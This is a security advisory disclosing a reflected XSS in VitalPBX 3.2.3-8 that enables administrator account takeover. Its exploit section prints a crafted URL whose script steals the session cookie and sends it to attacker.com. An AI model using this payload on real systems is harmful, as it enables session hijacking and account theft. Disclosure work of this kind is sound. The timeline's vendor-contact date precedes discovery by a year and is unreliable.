VitalPBX 3.2.3-8 - Account Takeover via Reflected XSS
Summary
| Name | VitalPBX 3.2.3-8 - Account Takeover via Reflected XSS |
| Code name | |
| Product | VitalPBX |
| Affected versions | 3.2.3-8 |
| State | Public |
| Release date | 2023-04-10 |
Vulnerability
| Kind | Reflected cross-site scripting (XSS) |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| CVSSv3.1 Base Score | 8.8 |
| Exploit available | No |
| CVE ID(s) |
Description
VitalPBX version 3.2.3-8 allows an unauthenticated external attacker to obtain the instance's administrator account via a malicious link. This is possible because the application is vulnerable to XSS.
Vulnerability
This vulnerability occurs because the application is vulnerable to XSS.
Exploit
To exploit this vulnerability, we just need to send a malicious url like the following to the administrator.
http://vulnerable.com/?class=<img+src=1+onerror='sid=document.cookie.split(`;`)[0].split(`=`)[1];fetch(`https://attacker.com/vitalpbx/leak?sid=`%2bsid);'>&method=exportCDR&mode=add&refresh_mode=&cdr_filter_id=&source=&destination=&from=2023-01-25%2000%3A00%3A00&to=2023-01-25%2023%3A59%3A59&cdr-report-dt_length=10&format=pdf
The payload, in a more readable format, looks like this.
sid=document.cookie.split(`;`)[0].split(`=`)[1];
fetch(`https://attacker.com/vitalpbx/leak?sid=`+sid);
Evidence of exploitation
Our security policy
We have reserved the ID CVE-2023-0486 to refer to this issue from now on.
System Information
-
Version: VitalPBX 3.2.3-8
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://vitalpbx.com/
Timeline
2023-01-24
Vulnerability discovered.
2022-01-24
Vendor contacted.
2023-04-10
Public Disclosure.
